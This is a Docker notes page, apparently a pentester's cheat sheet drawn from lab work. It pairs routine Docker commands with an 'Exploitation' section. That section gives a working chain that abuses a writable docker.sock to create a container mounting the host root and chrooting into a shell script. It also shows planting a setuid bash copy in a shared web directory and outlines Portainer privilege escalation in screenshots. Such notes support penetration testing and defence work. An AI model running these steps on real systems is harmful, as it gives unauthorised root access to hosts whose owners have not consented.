> For the complete documentation index, see [llms.txt](https://docs.h4rithd.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.h4rithd.com/cloud/docker.md).

# Docker

## 00. Basic

```bash
## ------------------| Container Lifecycle
docker run -it ubuntu bash  
docker run -d nginx  
docker start <container_id>  
docker stop <container_id>  
docker restart <container_id>  
docker kill <container_id>  
docker pause <container_id>  
docker unpause <container_id>  

## ------------------| Container Listing / Info
docker ps  
docker ps -a  
docker ps -q  
docker inspect <container_id>  
docker stats  
docker top <container_id>  

## ------------------| Container Exec / Access
docker exec -it <container_id> bash  
docker attach <container_id>  

## ------------------| Logs & Debugging
docker logs <container_id>  
docker logs -f <container_id>  
docker events  

## ------------------| Container Cleanup
docker stop $(docker ps -aq)  
docker rm $(docker ps -aq)  
docker rm -f $(docker ps -aq)  

## ------------------| Images
docker pull <image>  
docker push <image>  
docker images  
docker rmi <image_id>  
docker rmi $(docker images -q)  

## ------------------| Build / Tag
docker build -t myimage .  
docker tag <image_id> myrepo/myimage:tag  

## ------------------| Volumes
docker volume create myvolume  
docker volume ls  
docker volume inspect myvolume  
docker volume rm myvolume  
docker volume rm $(docker volume ls -q)  

## ------------------| Networks
docker network ls  
docker network create mynetwork  
docker network inspect mynetwork  
docker network connect mynetwork <container_id>  
docker network disconnect mynetwork <container_id>  
docker network rm mynetwork  

## ------------------| System Cleanup
docker system prune  
docker system prune -a  
docker system prune -a --volumes  

## ------------------| Docker Compose
docker compose up  
docker compose up -d  
docker compose down  
docker compose build  
docker compose logs  
docker compose ps  

## ------------------| Misc Useful
docker version  
docker info  
docker system df  
docker cp <container_id>:/path /host/path  
docker cp /host/path <container_id>:/path  
```

* Configurations.

```yaml
## ------------------| docker-compose.yaml
version: "3"                    ## optional since v1.27.0
services:                
    website:                    ## Service name
        image: nginx            
        ports:
            - "8080:80"
        restart: always         ## Alwasys start when machine reboot
       
         
## ------------------| Start/Stop
### Start/Run
sudo docker-compose up -d
### Stop/Down
sudo docker-compose stop
sudo docker-compose down
```

* Login

```bash
## ------------------| Normal login
docker login <URL>

## ------------------| If it has certificate file
mkdir -p /etc/docker/certs.d/<url_name>
cp ca.crt /etc/docker/certs.d/<url_name>/ca.crt
docker login <URL> 

cat /etc/docker/daemon.json 
{                                                                                                                                                                     
   "insecure-registries":["docker.registry.htb:443"]                                                                                                                      
}
```

## 02. Exploitation&#x20;

* Is `Docker Sock` is writable ?

```bash
## ------------------| How to check
ls -al /var/run/docker.sock

## ------------------| Web APIs (https://docs.docker.com/engine/api/v1.41/)
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json

## ------------------| Expolit chain 
### Create new container--> map root drive
### We need to know what image we can use; use following command and get RepoTags value.
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json | jq '.[] | .RepoTags[0]' 

### Create json object in file !!! Remove comments!!!
{
    "Image" : "sandbox", ## <---- RepoTags value
    "Cmd" : ["/bin/sh","-c","chroot /mnt sh -c \"bash /tmp/shell.sh\""], ## <---- shell
    "Binds" : [
        "/:/mnt:rw"
    ]
}

### use curl command to create new container
curl -X POST -H "Content-Type: application/json" -d @shell.json --unix-socket /var/run/docker.sock http://localhost/containers/create           

### Get id value; replace; start
curl -X POST --unix-socket /var/run/docker.sock http://localhost/containers/<ID>/start
```

* Host Share Abuse

```bash
root@efaa6f5097ed:~# cp /bin/bash /var/www/html/survey/h4rithd
root@efaa6f5097ed:~# chmod 6777 /var/www/html/survey/h4rithd
root@efaa6f5097ed:~# ls -l /var/www/html/survey/h4rithd
```

* Privilege Escalation via [Portainer](https://www.portainer.io)&#x20;

<figure><img src="https://50507886-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnExgHyf5c0iANwFPNNH2%2Fuploads%2FyOEn1B4AqkEP00VGa6Ap%2Fimage.png?alt=media&amp;token=906b791e-562c-4dcf-8fe4-98bcd9bcfa2b" alt=""><figcaption><p>Create new volume with these settings</p></figcaption></figure>

<figure><img src="https://50507886-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnExgHyf5c0iANwFPNNH2%2Fuploads%2FOaGprZItqkfD3biL3IHK%2Fimage.png?alt=media&amp;token=49ac4da1-515d-42c1-bb82-b350d9848814" alt=""><figcaption><p>Select any ID </p></figcaption></figure>

<figure><img src="https://50507886-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnExgHyf5c0iANwFPNNH2%2Fuploads%2FChzYdpHBfIW9zxgGBsCr%2Fimage.png?alt=media&amp;token=6092751e-579f-496f-baf2-37ab1ce18de6" alt=""><figcaption><p>Copy the sha256 ID value</p></figcaption></figure>

<figure><img src="https://50507886-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnExgHyf5c0iANwFPNNH2%2Fuploads%2F624tEub6l3R5AS9Lzb0d%2Fimage.png?alt=media&amp;token=7be6bc28-acc0-4218-98ad-659878eb7d7b" alt=""><figcaption><p>Paste the value in the image section</p></figcaption></figure>

<figure><img src="https://50507886-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnExgHyf5c0iANwFPNNH2%2Fuploads%2F6QrUmgfqoBm6Sl5oR6Eu%2Fimage.png?alt=media&amp;token=8e79fe20-8246-4607-bd14-5776965ee5cb" alt=""><figcaption><p>Set the console</p></figcaption></figure>

<figure><img src="https://50507886-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnExgHyf5c0iANwFPNNH2%2Fuploads%2FqAjynWkQUqmbWyMi7qa8%2Fimage.png?alt=media&amp;token=0c38e354-23a1-40f7-be43-41661fd5637a" alt=""><figcaption><p>Set the volume to newly created one</p></figcaption></figure>

<figure><img src="https://50507886-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnExgHyf5c0iANwFPNNH2%2Fuploads%2FD3BFD249A8YOehb0kvrY%2Fimage.png?alt=media&amp;token=ac7e6985-7277-4871-b75b-9496ec574202" alt=""><figcaption><p>Go inside to the container and click the console button</p></figcaption></figure>

<figure><img src="https://50507886-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnExgHyf5c0iANwFPNNH2%2Fuploads%2FqBv9njo0zUSE7XM5IMtQ%2Fimage.png?alt=media&amp;token=edeb3633-c5bd-42e0-8846-b269207add04" alt=""><figcaption><p>Here you have root directory</p></figcaption></figure>
